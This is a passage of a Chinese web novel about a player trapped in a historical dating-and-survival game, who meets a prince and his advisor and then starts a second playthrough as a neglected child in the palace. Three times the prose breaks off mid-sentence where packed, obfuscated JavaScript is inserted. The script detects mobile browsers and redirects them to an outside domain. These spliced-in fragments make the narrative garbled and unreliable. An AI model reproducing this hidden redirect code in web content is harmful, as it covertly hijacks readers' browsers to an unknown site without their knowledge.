【备注:缘分碎片可用来合成激发同各类角色的缘分,有缘相聚,无缘相散。若无缘苦苦执着终不得,若有缘萍水相逢亦是缘。】 祝瑶手指慢吞吞点了【是】,应该是交代一些后续剧情吧。 介于游戏的前科。 他有些谨慎,慢慢来,悠着点,不想被惊吓。 当点击【是】后,游戏界面缓缓地转啊转,顺带出现了一段萌萌小人动画,是两个萌哒哒的角色正在击剑。 一黑衣,一青衣。 祝瑶忍不住戳了下,黑衣的的确有点像那小鬼,气质拿捏得很好。 他一戳。 那小人也倒了,连忙爬起,又同对面的青衣小人争斗起来。 祝瑶笑了下,看了眼那表情肃穆的青衣小人,也戳了下,那小人表情却如常,不仅没倒,还更认真了。 【恭喜玩家使用缘分碎片X3,合成了续接缘分:料峭春风 】 【此缘分以画结缘,请问是否进行观看?】 祝瑶缓缓思忖,青衣小人是会新出现的角色吗? 他依旧记得曾经看到的那几张游戏宣传cg,里面就有个青衣男子。 祝瑶点了下观看,游戏界面隐隐浮现一行字,十分的小巧,小到让人很难看见。 【玩家请注意,缘分倒计时开始】 【五、四、三、二、一,倒计时结束,玩家请做准备!】 祝瑶:“……” 祝瑶真哭了,又来,至于吗?至于吗?又骗玩家啊啊啊啊! 不等他呼喊,眼前再次陷入黑暗。 风声有些呼啸,隐隐的花香从远处传来,浮出几分雪尽春来的料峭姿态,阳光照在身上依旧有几分寒意。 “夏先生,王爷刚刚还在小憩,这会儿刚醒不久,怕是要等些时候。” “无碍。” 门外的问答声传来。 祝瑶被拂过的春风一激,忽得有些清醒了,他抬眸看向自己身处何地,低调奢华的待客书房,有点儿大。 而他正一手撑在隔断的碧纱橱上。 这里应是封地吧,既然还是王爷,那就还没当上皇帝,那这一次又会是几年过去了呢。 祝瑶摇了摇头。 门外的步履声渐近,很沉稳的步伐。 走在先前的怕是个内宦官,声音略常人而言,有些尖利,只听得说:“夏先生,咋家听闻如今城外流民驻扎,不愿离去。” “您派遣王府长随施粥,恩惠,虽说此举是大大的善举,可也不是长久之策。” “此事需同王爷细商。” 声音越发近了。 步伐声靠近。 祝瑶抬眼,只觉自己手扶向纱橱的触感真实,所以说这回他不是鬼吗?那能躲到哪儿去?他一时间有些情急,想往里面的房间去,刚走了几步,忽得感觉到束缚感,还未曾低头细看,眼前的光似乎被挡住了。 忽得背后一撞,他整个人摇晃着,竟是直接往进内书房的门槛正中央倒了下去,少许地跪坐在地。 祝瑶微低身,侧头看身旁走过的内宦,把自己无视的彻底、这才确定自己怕是没人看得见。 他松了口气。 祝瑶看向自己身下,他本跪坐着,露出半截腿部,那脚踝处除了一圈金环外,竟是束着一根长细带,似是连着哪里。 难怪,好像似是被绑住了。 他都走不了几步。 祝瑶被春风吹得有些寒,脑子都有些冻了些,加上摔倒,干脆想着不如就这么歇会,晚些时候起来。 堂内背后来了个高大的身影。 “夏先生,您先小坐片刻,咋家去备些茶。” 内宦往后堂倒茶。 空余前来的夏先生立在原地,却未曾走进来,只立在做隔断的两扇碧纱橱中。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540517|170956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼前地上居然有个人。 他发鬓散乱,如流云般,绿衣衫,红簪花,独独一双赤足,白如珠,形如玉,俏生生的缩着,被金环扣住。 那衣衫不过件素纱,简单罩在这人身上。 怕是有些被冻到了。 他只露出个侧脸,身躯有些蜷缩着,只见他两眼垂泪娇娇态,只看他身骨轻盈滟滟色。 夏先生未曾闭目,相反神色如常。 他心想哪里送来的小婢优怜,这次送来倒足足是个祸水,正想说些什么,就见地上人忽得大声骂了句。 “好你个赫连辉,画的都是个什么玩意。” “把我画进春宫图。” “真有你的,小鬼。” 祝瑶这会儿是反应过来了,手指连忙把散着的衣衫收拢了,有些瘸着勉强起身,往着那空着的扶手椅走去。 他边走,边骂。 当初他翻脸,就是发现这臭小鬼,偷偷画春宫图,以他这脸做了参考。 如今,他看自己身上衣服,脚踝处的金环,着实很有当初见过的那么一张画里的首饰样子,以画结缘,怕还真有可能是这小鬼新画的春宫图。 祝瑶气的脑子疼,不管不顾地,好不容易折腾好坐下,抬头时不自觉扫了眼,忽得愣住了。 对面坐了个男人。 他穿了件青衣,恰如那打架的两个小人中的青衣小人。 内宦正侍候其身旁,端来一盏茶,小声道:“夏先生,这是今年贡上的新茶,西山白露,气香韵堪称一绝。” 那男人静静接过,不发一言。 祝瑶忽得就有些倦怠,只手撑脸,静静打量人。 “夏先生,难不成是个幕僚?又或者说是个谋臣?” “……长得倒是怪好看的,小鬼,你还真是个颜控,找个下属都会找极好看的。” 他小声语。 这会品茗的人,却平静地微低眸,余光扫过身旁内宦,依旧无知无觉。 所以说……只有自己见得到吗? 祝瑶望着两人,听着这位内宦同人讲述着城外流民的事,只依稀听得他讲朝野纷争,讲到天灾地害,讲到这一年的事,语气里总有些唏嘘,听着口吻,总觉得不像个太平年岁,看似维持着平静的,实则乱的很。 尤其,听说这一年皇帝上朝都上的少。 几个皇子争地都有些人尽皆知。 “赫连辉,你果然是个当皇帝的命啊,你还说不想当皇帝,若是你未曾去争过,去抢过,那么多的皇子,凭什么会是你……最后当了皇帝。” “这世上可从来没有那么多的巧合。” 祝瑶不免有些叹了口气。 夏先生手持杯盏的手微顿,依旧默不作声,可眼神不免轻轻扫了眼,那堂中人,没个正行,衣衫便是收拢了,也露出大半个腿。 他生的甚美,眉眼间勾魂夺魄,活脱脱一个艳鬼。 他忽得想起一桩旧事来。 那是昭化十四年,六年前靖王初到北地时隐隐流传的一个神鬼故事。 那年自靖王第一个被封王到封地,却引起了当年最大的一桩案子,刺王案,这位王爷来的路上可不平静,怕是好几拨的追杀,可他竟是一个人到达了大名府。 谁也不晓得,他是怎么来的。 据说,他进城那天,还是坐的一个菜农的驴车。 乡里人说这俏王爷怕是遇了求色的女鬼相助,才脱了身。 原来遇的是男鬼吗? 这次来……是索恩?还是索情? 9. 一周目 时间缓缓过去,日光有些长了,风却依旧时不时冒来。 有些怪冷的。 祝瑶拉了下衣衫,缩了缩,整个人挤在椅子里,骂了句,“小鬼,也不给我画好点儿的衣服,就喜欢搞点颜色。” “重色轻友,忘恩负义。” “不知道吗?鬼没衣服穿也很可怜的。” 祝瑶小声念叨着,很有些哀怨。 夏先生眉头不变,依旧如常等候着,想了下让内侍把门外的窗户掩拢些,以防这依旧寒峭的春风进来。 “先生说的倒是对,这儿不比南边,天儿都暖了,风吹来时依旧抖得人发冷。” “咋家自来了这北地都有了六年了,仍是有些不习惯,每年这时候依旧会只想着春日近了,怕是不必备那么些衣物。” 内侍把窗户都收拢了,又烧起炭火,边说道。 “原来又是一个六年,比上次少一年,挺好。” 祝瑶叹了句,有些无言。 屋内烧了炭,祝瑶只觉得暖和了些,有些力气了,遂弯着一只脚,侧着身去解脚腕处那系着紧紧的丝带。 缠的怪紧的。 “究竟画了些什么没名堂的东西。” “啊,可恶。” 祝瑶解得有些不耐烦,边解边念叨,很有些埋怨。 夏先生倒是想起那画了,这北地的靖王爷声名鹊起,多是由于他的浮浪轶事,也因那画的国色生香的美人图。 他作的十二卷美人图。 亦有不少传闻,他颇擅画些春宫册。由于他的身份,这话自是私底下悄悄地说。 只有王府里人清楚,这位靖王爷压根不在意,不在乎被谈论这事,他时常画,画的很有些坦荡。 祝瑶花了不少时间,终是解开了,累的摊在椅子上。 他这会到有时间打量人。 对面的男人,生的端方自持,简朴青衫,都穿出几分矜持意味,也不知……说些什么好,若是如同自己所想。 祝瑶摇了下头。 这游戏终归是个荒唐事,不必细想。 他望着游戏小界面的时间,倒计时的1小时正在一点点逝去,微微轻叹了口气。 怕是到0时,就得回去了。 “还不来吗?小鬼,再不来怕是结束了都见不到了。” “不见也好。” “省的叨扰,省的惦记。” 祝瑶喃喃道。 夏先生如常般端坐,似乎只是等待着,时间慢慢推移着,内室忽得传来一声笑意,莫名有些风流姿态。 “难得见先生行止如此。” “倒有些小心翼翼了,不如往常般随意。” 祝瑶直愣愣抬头,见后室出来一人,身高八尺,重色玄衣,凌厉俊美,更有些桀骜风流,行止间轻浮浪荡。 祝瑶是真的惊。 长这么高也就算了,乖小孩变这种……还挺吓人的。 “果然是个色小鬼。” 祝瑶呢喃了句,随即想喊声,忽得怔住。 只见他似乎没看见自己一样,只坐在上座,眉宇间忽得正经起来,拂去那些轻浮,很有些威视。 “夏启言,你也不必试探了。” “你来北地,不正是想那件事吗?可光当圣人可做不了大事。正如你当年所说,皇帝谁当都一样,那为什么那个人不能是我。” 赫连辉低头,笑了声。 他着实桀骜姿态,语气很有些傲然,“我的那些个哥哥,难道就行吗?” 祝瑶压根无心听,只怔怔看着他,忽得起身,有些踉跄走了几步,转而低头看了看自己指尖。 那是根断了的红线。 他抬头,看向赫连辉中指绕了好几圈的红线,下方却也是断裂,他就这么看着自己手指上的红线坠在地上。 “原来是断了,所以看不见,也听不见了吗?” 祝瑶摇了下头。 有那么一瞬间,他觉得不来也许更好,可既然来了,就不必后悔。 夏启言不接这话,只谈起了近日城外流民之事。 赫连辉除却之前的轻浮,这会倒是全然换了个面孔,两道剑眉下显得越发严肃,也加入了这个话题。 祝瑶一直在听,在缓缓的听。 他没有出声。 他也没有看这明明前阵子见过的人,于自己是短暂的时空,于这人却是六年,时间最能改变一个人。 他只觉陌生,很陌生。 可竟也是不意外的,有什么好吃惊的,祝瑶看了眼游戏面板上提示的时间只剩下5分钟,看了他最后一眼。 他走了出去,他忽得想晒晒日头。 恍惚间记起,他同他来封地路上,还曾说过许多次北地的风光。 事实上,相较于赫连辉这个长于深宫中的皇子,祝瑶反而是真的出门旅游过几次,感受过冰雪天地带来的震撼。 赫连辉依旧在谈论兵事布防,很难想象他是擅长此道的。 夏启言目光稍抬,望着那道渐渐走出的身影,那地底上是无影的,是无形无迹的,独独一根朱红的丝线垂在青翠纱衣下,一点点的,流落在地上,一点点随着主人往外离去,竟是往那天光外的日头而去。 他难得有些出神,记起他同这位靖王爷的第一次见面。 他从不觉得自己冒天下之大不韪。 尽管很多人觉得。 可遇到的这位却也大胆,刚见面就直言自己要当皇帝。 “我从前是不想当皇帝。” “我现在是想当皇帝,想当的很……如果当不上,会很容易死,如果当不上,死的早了,就永远都等不到了。” 无人知晓,夏启言那时竟是有些羡慕的,这王爷还能等啊,可他想等的、能等的那人……是怎么都等不到的。 怕是只有进了地里才能见。 怕是进了,也不愿相见。 夏启言忽得起身,“今日日头不错,怕是园里的山桃花都开了,王爷不如出去散散心,散些……” 赫连辉沉默了。 半响,他留下一句,“没有陪着的人,有什么好看的。”,便往后室去了。 内宦也随着离去。 独留他一人。 跨过碧纱橱,门栏处的身影有些单薄,只稀稀落落传来几句话,“小鬼,上次走之前,你问我名字,我还未曾来得及告诉你。 ” “记住,我叫祝瑶,祝是庆祝的祝,瑶是……瑶林琼树的瑶。” 一阵风拂来。 这外头是天光正好,是千朵万朵桃花开,开的尽态极妍。 少许花瓣落在木地板。 “嗯,小鬼,再见。” 光遮去了一切,也消融了一切。 夏启言缓步向外走,门栏处的身影已经消失,他走到……怕是那鬼倚靠处,忽得蹲了下去,指尖轻轻勾起那截遗留的红线。 游戏大厅。 祝瑶有些怔怔望着界面,【料峭春风已观看】,忽得笑了笑。 他才不会服输。 既然把自己弄到这地方,总有些图谋,无论是如何想法,他都会努力接受,不会有比这更坏的。 何况,没死就是最大的幸运。 比那些穿越小说里的经历,他这个……穿游戏里的莫名奇妙经历,比起涉及生命安全,貌似更多的是恶趣味。 “制作组做做人吧!” “我不会是唯一的玩家吧,可怕。” 祝瑶边将游戏界面打开,边念叨了句,点开赫连辉的角色图鉴,故事线下新增了一个小关卡c ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540518|170956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' g:料峭春风。 这张cg远超出他的猜测。 以至于,祝瑶刚看时,就忍不住想伸进游戏里,多捶几下那书桌前欣赏画好春宫图的男人。 是的。 是男人。 祝瑶觉得自己不能叫人“小鬼”了,他都比自己高了。 【料峭春风】 <赫连辉眼底只有这副画,只有这副刚刚完成好的画。> <他微笑着,注视着。> <他用一种难言的目光,将画面上的人收入眼底,尽管他知道这只是画,似乎有什么隐秘的情感、欲.望正散发……> 祝瑶看到这行注释时,双手无力撑头,那画里的场景不可避免的入了脑。 他先头猜想果然没错。 那画里的人依依靠在碧纱橱上,似在挣扎着,向上仰着头,浑身只着一件纱衣,是很浅的青草色,有些透亮。 细长丝带束住了脚踝,似是绑在了碧玉橱下的底柱。 "古代play玩得这么大……" “色鬼!怎么好意思在白日里画这种东西,还……” 祝瑶无法直视。 虽说他有很多小黄油,可他都是一个人在家玩,哪有像这位一样身旁全是侍奉的人,还能当做不存在,只顾着自己爽。 可恶啊。 祝瑶咬牙,重新看,那cg旁的事件语句,再次点击后慢慢更新着,而这一次的文字他只能沉默。 <他当然知道,他等的人许久没回来了,可那不重要。> <他习惯了等待,他也只能等待。> <他来时,他能说什么……还不够,还不够,说太多都不够,他只知道他会等到的,总有天会等到的。> 祝瑶看了好几眼,终是选择关上。 角色图鉴总揽里,已然点亮了两张卡,排在赫连辉那张卡面后,是一张新出现的卡,卡上同样是个男人。 祝瑶:“……” 他一点都不意外,不意外。 这张卡面图倒有些不一样,只因这竟是个挑灯夜读景象,青衣士子坐在窗前书桌,正手执书卷。 祝瑶手指划过卡面,“夏启言”这三字,不像前一张名字那般锋利,是有些内敛的端正,极致的沉稳。 不过,这……也太穷了吧。 祝瑶认真看着图上的茅草屋,对比旁边赫连辉的辉煌宫殿,只觉得人还挺不容易的。 昏暗的灯火下,青年的轮廓有些阴影,他天生一副端朗面孔,双眸有神,明明在读书,可总让人觉得……怕是有点难与人说的心事。 【夏启言 解锁度1%】 看到这行提醒,祝瑶真叹气了。 就他先头所见,他真有点不好意思了,这游戏到底要他攻……攻略多少人? 别搞他,行行好! 10. 二周目 游戏界面,依旧是两块界面。 左边二次元风格小人,音乐悠闲无比,右边写实的古代场景不断浮动。 【恭喜玩家解锁新人物X1】 【为感谢玩家对此游戏的大力支持,游戏制作组精心准备了一份新手大礼包,请问是否领取?】 祝瑶点了领取,不领白不领,有总比没有好。 【玩家已领取新手礼包。】 【恭喜玩家收获解毒丹X1,百花丸X1,假死丹X1,已存入背包。】 祝瑶看着这行字,无力吐槽,这游戏搞毛线啊,制作组说是攻略角色,他咋感觉活下来才是最关键的,送新手礼包都是存活道具。 祝瑶点开背包,初始的20个小格子占了三个,他一个个点开介绍,解毒丹倒是名副其实,标注可解天下百毒。 假死丹,可获得一次假死机会,吃下去如同死人。 不过,游戏提醒,假死的时候是60天,超过60天会醒来,万一真埋在棺材里,醒来时还在棺材也是会缺氧死掉。 祝瑶:“……”明明都这么不科学了,还讲究这个干什么。 当他看到百花丸的介绍,差点喷出一口血来。 【百花丸:取百花之芬芳,敛天地之灵气。】 【备注:服用外貌值+5,增加隐藏属性柔韧值2点,后宫争宠必备神器,极易打出宠妃结局。】 【友情提醒:使用后也许会有意想不到的结局喲。】 祝瑶:“……” 祝瑶真没话讲了,这还能玩宠妃?男号玩宠妃……这也太混邪了吧。 祝瑶无力,选择重新回到主页面,无疑这界面有优化了,而且也变了个模样,背景是有些浓郁的金色和墨色。 有种暗暗的命运交织感。 有些主页界面只有两个可选择。 【开始轮回/读取轮回】 祝瑶想到还没穿进来之前的玩的档,除了死还是死,连一岁都没活过,手微微一抽,想了下点了开始轮回。 果不其然,创建角色,直接来到了人物属性,性别选择直接跳过了。 虽说,本来就没有,可这种骗玩家进来杀……也太邪恶了,没穿进来还装下样子,貌似可以解锁的样子。 穿进游戏来后,直接不装了,选择项都没了。 祝瑶:“……” 人物属性选择,依旧是【光明/黑暗】,黑暗选项依旧处于灰色状态,不能选择。 祝瑶慢吞吞点击光明,来到了人物属性点分配,意外发现这次居然不一样,居然只能丢骰子。 外貌,智力,悟性,体质。 四个基本属性。 界面上四个鎏金骰子散落在红布盖着的桌面上,配着玄色背景,赌徒感满满。 祝瑶这会真有点放弃治疗了,他最讨厌这种随机属性,他对自己的幸运值向来不抱希望,总感觉结局会很惨。 祝瑶还在犹豫是否掷出骰子时,游戏界面忽得提醒了句。 【请问玩家是否使用存档?】 祝瑶点开读取轮回,果然有个当初他存的,容貌,智力,悟性都很高的档,唯独体质低的吓人。 算了。 重开吧,这个体质点他都怕刚进游戏就挂。 四个16个面有数字的18面鎏金骰子碰撞,砰的一声达成结局。 祝瑶有些认命的看被投掷出来的属性点,容貌3,智力,3,悟性8,体质5,好吧,也许并没有很差? 行吧。 16面掷出这个结果,是真的很差啦! 【此次投掷已结束。】 【玩家可查看人物属性,请问是否观看?】 祝瑶点击是,游戏界面开始慢慢的吐出一行行触目惊心,十分刻薄的话。 【容貌:3点】 【你长得很普通,也就不丑。】 行,外貌不重要。 能活就行。 【智力:3点】 【你有点太笨了,相较于平常人。】 笨点也好,活的不累。 【悟性:8点】 【能说真话吗?你挺适合出家的。】 什么,出家,这是诅咒! 【体质:5点】 【还算幸运,出生皇宫里,不然……放外头早死了。】 祝瑶无话可说,速度点击开始轮回,这个游戏就不该慢慢细看,特伤人好不好。 屏幕渐渐变得灰黑,水墨色浸染的画卷,浮动了起来。 祝瑶有些忐忑,慢慢看着二次元界面上渐渐吐出的文字。 [你出生了。] [这一次,你的状态挺不错的,不过你的母亲貌似有点不太喜欢你,可能……觉得你长得有点丑。] 祝瑶:“……”要不要这么现实。 [一岁,你的出生实在不太受人待见,你也不太爱说话,不哭不笑,看着有些古怪的样子。] [皇帝来看你了。] [留下一句,长得有点丑。] 祝瑶:“……”他知道长得丑了,能不用重复了吗? [你的母亲听了后,很是失落的样子。不过,她本就没有选择,她的心情越发的差,好在压根没什么人在意你们。] [你的母亲暂居宫中,只默默地守着你,照顾你。一切良好,除了住的地方有点小外,倒也不错。] 祝瑶呆了下,他觉得……这个皇帝的代称,貌似不太可能是赫连辉,反而应该是他的亲身父亲。 所以说原定的时间线变动了吗? [皇帝貌似正忙着朝政,一时间压根没时间搭理你们。] [你的母亲虽说早有预感,可依旧有些忧伤,很快就到了你的周岁宴,她还是给你很细心的准备了下。] 【一岁的抓周宴上,你会抓什么呢?】 【诗书/算盘/印章】 【您的选择是?】 祝瑶赶紧存了个档,这是第一次的选项,他看着这三个选项,总觉得背后很有些名堂。 三个存档,只剩一个。 祝瑶叹气,选择了【算盘】,诗书什么的,本来智力就这么低了,按照套路加属性也不能挽救多少。 印章? 貌似和权力挂钩,总感觉会很艰难。 祝瑶承认,他没有那么大胆了,如果只是游戏就好了,可想到曾进入游戏,也许还可能真的会进入游戏。 他觉得……还是安安稳稳,努力活久点。 【您选择了算盘。】 【您的母亲无疑有些失落,她看着你,看了很久。】 祝瑶看到了游戏界面,隐隐浮现出一个画面。 那是个站在窗前遥遥望着新抽出的嫩绿枝芽的身影,她身姿婉妙,眉眼间总凝着几丝愁绪,似乎很难有事让她展颜。 [二岁,你又长大了一岁,还算平安。] [三岁,你迟迟不会说话,宫里开始传闻你是个傻子。] [四岁,你依旧不说话,的母亲已然放弃教导你,好在你虽不会说话,却并不难带。] [皇帝遗忘了你们。] [你的母亲和你在宫里就像两个隐居人。] [五岁,你坐在床榻上,远远看着走过来的母亲,忽得喊了声“母亲”,她有些高兴,可最后也是坐在床边,摸了摸你的头。] [近来的日子不好过,宫中米粮都不剩什么了。] [这一年的年底,皇帝走了。] [你的母亲得知后,有些怔住,随即则是有些慌乱,那一晚她抱着你抱的很紧。] [六岁,你和你的母亲开始偶尔挖草根吃,草根有点难吃,可总比没东西吃,饿的难受要好些。] 祝瑶麻了。 这游戏……果然不走寻常路,故事线全变了。 祝瑶忍不住点开人物档案,角色图鉴里赫连辉的卡面依旧金色,可卡面周围隐隐围绕着一股血色的暗纹。 “你人呢?” “人跑哪儿去了?” “你的皇位还等着你啊!你怎么还不出现?” 祝瑶不禁吐槽,他戳了戳卡面,不知为何……莫名有些灰心丧气了呢,明明,明明按照之前的存档,这会儿他都当皇帝了。 白猫忽得从画面中跳了出来,舔了舔他的手心。 祝瑶一把捏起,转而揣在怀里,抱着猫儿,接着看游戏界面。 故事依旧继续,主界面变得有些灰调,仿佛暗示着一些事情。 [这一年很乱,很乱。] [宫里的人越来越少,听说皇帝死了后,太子还没来得及登上皇位,就被自己亲弟弟淮王叛了,他打不过,带着不少人匆匆逃离京城。] [淮王只当了十八天的皇帝,就被太监一杯毒酒毒死。] 画面此时是一个水墨的剪影,宫殿的宝座上,仿佛有个醉倒的人。 音乐声渐渐焦灼起来,有些兵戈争斗,激昂地像是坠地。 祝瑶抱着猫儿,接着往下看,点击继续故事。 [只因他实在是个糟糕的人。] [貌似,他很讨厌内宦,杀了很多人。] [有天晚上,你听到你的母亲背着你偷偷的哭,你知道那是因为时常来冷宫瞧你母亲的一个太监死了。] [那是你第一次听见她哭。] [三天后,你见她同一个禁卫,在假山处偷偷见面。] [自那以后,她时常能煮点米粥给你吃,你吃的很开心,你玩乐时发现她的梳妆箱笼里多了一支玉簪。] 祝瑶看到这里,咳了声。 貌似,他这个母亲……还挺厉害的。 曾经那个存档里,他还觉得是个挺固执的人,他其实不太理解,因为自己建档的人物死了,就选择死亡。 也许是自己是个孤儿吧。 祝瑶略叹气,他实在没法想象,有的父母会把自己的小孩看的比自己还重要。 他也不赞同。 [七岁,你慢慢长大,开始帮你母亲干些活。] [你依旧不爱说话,你喜欢读一些母亲抄写的经书,其中有佛经、也有道经。] [宫里渐渐有些平静了,朝中大臣推出了个小皇帝,听说是个很聪明的孩子,很受朝野称赞。] [你和你的母亲依旧在冷宫中。] [如果被遗忘还能活的话,你觉得在冷宫的日子也还不错。] [因那个禁卫的缘故,你和你母亲能时常得到几分接济,他待你也不算很差,偶尔来时会带些民间孩童的玩意儿。] [你心底猜想,未必没有……他觉得你是个傻子的缘故。] 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540519|170956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >祝瑶看向游戏界面,渐渐浮现一个画面。 那是几片剪影。 男人似是站在门栏外,只静静看了眼里面,那女子正低头绣着一方丝帕,在旁边则有个孩子悄悄地看。 这就是自己这次开的存档? 祝瑶莫名觉得这画里的自己,很有点在偷偷吃瓜的感觉。 喲! 果然是看别人的爱情有意思。 [七岁这一整年,你过得都还算开心。] [你的母亲,脸庞上也渐渐会偶尔露出几分笑容,这一年的日子着实很平静,很安宁。] [直到那一天,你听宫女说太子在北部新立了个小朝廷。] [自那一天后,形势都变了,洛王反了,小皇帝落水了,被救起时已然昏迷,似是中了热毒。] [小皇帝死了。] [宫里挂起了白灯笼,穿起了素衣麻布。] [没过几天,你听见那禁卫夜里来时,同你母亲说,看来怕是得找机会出宫。] [他说,自小皇帝死了后,朝堂上的人都在想着在立一个皇帝,可……说道最后,他神色郁郁,临走时匆匆,只瞧了你一眼。] 祝瑶:“???” 这是在搞什么? 祝瑶这会儿真要服了这游戏了,总不会……这破开局还能当皇帝吧。 【两天后的晚上,你正在床上睡,忽得听到几声争执声,请问你该如何是好?】 【出声制止】 【保持沉默】 祝瑶急忙存档,三个档最后一个也被用掉。 他想了下,选择【出声制止】,画面转黑,砰砰砰声响起,游戏界面呈现几分颤抖。 [你听到了这声音,立马从床上爬起,喊了一声“母亲”。] [房间外顿时失去了声音。] [隔了许久,她才匆匆而来,只把你整个抱住,抱得很紧。] [五天后,禁卫带来一个好消息,叛乱的洛王死了,而那位北地新立的小朝廷貌似散了……好像是前太子死了。] [靖王带兵快要打进京城,暂时没有人敢有动作。] 祝瑶怔住,好吧,没死就行。 八年。 他掐指一算,这次该有十年了吧,按照游戏时间线。 [八岁,你吃了最好吃的一顿团圆饭,在你生辰这天。] [你的母亲正在收拢东西。] [你静静观看,总觉得她貌似下定了某种决心。] 【这天晚上,你听到了些声响,您的母亲拉着你的手,低头问:“阿瑶,想去外面看看吗?”】 【点头】 【摇头】 祝瑶几乎没有思考,直接点了【点头】。 忽得,他只觉得夜风有些呼啸,冷冷地打在身上,眼前全然换了个场景,他已然不在游戏大厅里了。 祝瑶仰头看,身旁的女子简约布衣,不着任何首饰,只拉着自己往殿外走。 冷宫内杂草丛生,这圆圆的月下,她面色颇有些焦急,只紧紧地拉着自己的手,似是有些事情得抓紧去做。 祝瑶来不及思考。 他只能被拉着走,眼光余光下自己的影子,有些短。 祝瑶莫名分神想,自己这个档案,貌似……长得有点矮,好像是吃的不好,长高貌似确实有点难啊。 刚出殿门。 嗖的一柄冷箭射来。 祝瑶还未曾有反应,就被身旁女子拉到身后,脚步错乱,硬生生都摔倒在了地上,他被搂在女子怀里,搂的紧紧的。 “奚美人,这是想去哪?” “难道,这宫中……不值得你呆吗?” 这声音有几分轻蔑,亦有几分争鸣,如金似玉,寒似深渊。 祝瑶呆了下。 他从女子怀里,只微微抬头,有些默然地望去,终是望见了那个熟悉又陌生的身影。 远处的身影越发近了,他手持着一柄利剑,冰冷的面孔上隐隐透着几分血迹,十足的暴戾,只见他举起剑,面无表情地走了过来,剑锋上还滴着血。 祝瑶依旧跪地,可身旁紧紧扣住自己的女人被拉开。 她没有叫喊,只隐隐听见那传来的啜泣声。 祝瑶略有些呆呆地望着,看着那柄剑刺了过来,这次……会是死亡吗?貌似也还挺正常的吧。 那柄剑刺了过来,靠近他的脖颈,慢慢的压了下去,忽得挑起他那有些稚气的脸,没几秒干脆收了回去,然后刺了过来。 祝瑶闭上了眼,可……却没感受到痛,只觉得自己有些脱离地面。 他缓缓睁开眼,看向下方,原来这剑竟是直接穿过他肩头的衣衫,将他整个人挑了起来,赫连辉压下眉眼,略有些眯着眼,弯腰低下头打量着,微笑启声:“哦,看起来可真是不禁吓,这就是我那剩下的……唯一一个弟弟?” “奚美人,这可真是想不到啊,你居然生了个这么个蠢笨的孩子。” 祝瑶:“……”什么啊,再次见面不仅被抓,还被说笨。 被剑挑的脱离地面。 祝瑶只有力无气地委屈垂下头。 赫连辉忽得“咦”了声,“你这小童,长得一般般,看着也蠢,就这……死到临头的时刻,居然还委屈起来了?” “真够娇气。” 11. 二周目 祝瑶低着头,不想说话。 他纯属气的,气游戏不做人,不常理出牌,投生角色……也不提醒,也不告知,这不纯坑玩家。 之前好歹还提个醒,这会就直接莽着来。 “……” 能不能考虑下玩家的心情。 剑把他挑的更高了,然后就是突然的抽回去。 祝瑶直接掉了下来。 好在不高,可依旧摔地坐地,腿有些疼。 祝瑶侧着头,把自己埋在膝盖里,他真怕自己忍不住翻白眼,简直……幼稚死了,连小孩子都欺负。 当皇帝的人,至于吗? 剑身侧轻拍了下他,似有些无聊地逗弄,恐吓。 祝瑶移了移身体,抓了抓发痛的腿,直接只给这群人留了个后背,目光放空着,不知在想些什么。 身旁有隐隐的啜泣声,正缓缓停住,似是明白毫无指望。 “还不会说话?” “不会真是个傻子?” 剑身上移,赫连辉走进了几分,挑起了他的脸,冰冷剑锋紧贴那张小脸,还有些孩童的肉,相较于进城来遇到的小童,看着就过于瘦了,没啥肉,像是从没吃饱肚子过,看着比他治下的小童还可怜些。 “啧,瘦的和猴儿似的。” “看来,这宫里日子还真是……不太好过,还比不上北地呢,看着不像八岁,像三岁无知稚儿。” 一声轻笑。 祝瑶懒得搭理,这些话纯属放屁,知道了,你在封地爽的不要的,行了吧。 明明去的路上,还一直晚上说“北地肯定很穷。”,“听说那里的人都吃不饱。”,“你不会嫌弃我的封地吧?”等等话。 祝瑶能说些什么。 他就记得自己喷了好几句,“再穷也是你的封地,也是你的大本营。” “高筑墙,广积粮,缓称王。” “没听过吗?” 基建权谋文里的主角动不动遵循这个总体方针,先把粮食和人才抓到手,然后努力争霸天下。 等等,这小鬼不会真的用了吧。 他也就随口说了句,完全就是无聊时的吐槽……所以,相比第一个存档时他就当了皇帝,如今他八年后的今天才打到京城? 祝瑶目光放空,有些魂不守舍,看着倒很有些笨拙、全然不知的模样。 “真蠢。” “装的吗?看着不像,看起来也小,轻轻一戳就坏了。” 赫连辉失了兴趣,收回剑。 他摆摆手,让下属把周围好好收拾一下。 祝瑶:“……” 他敢保证,这说“小”是说他矮的很,谁让他这个鬼曾经和人同行一月有余,对这个人了解颇深。 还有,戳什么戳!戳个鬼啊! 死小鬼。 不,明明就是……狗皇帝! “喲,还生气了。” 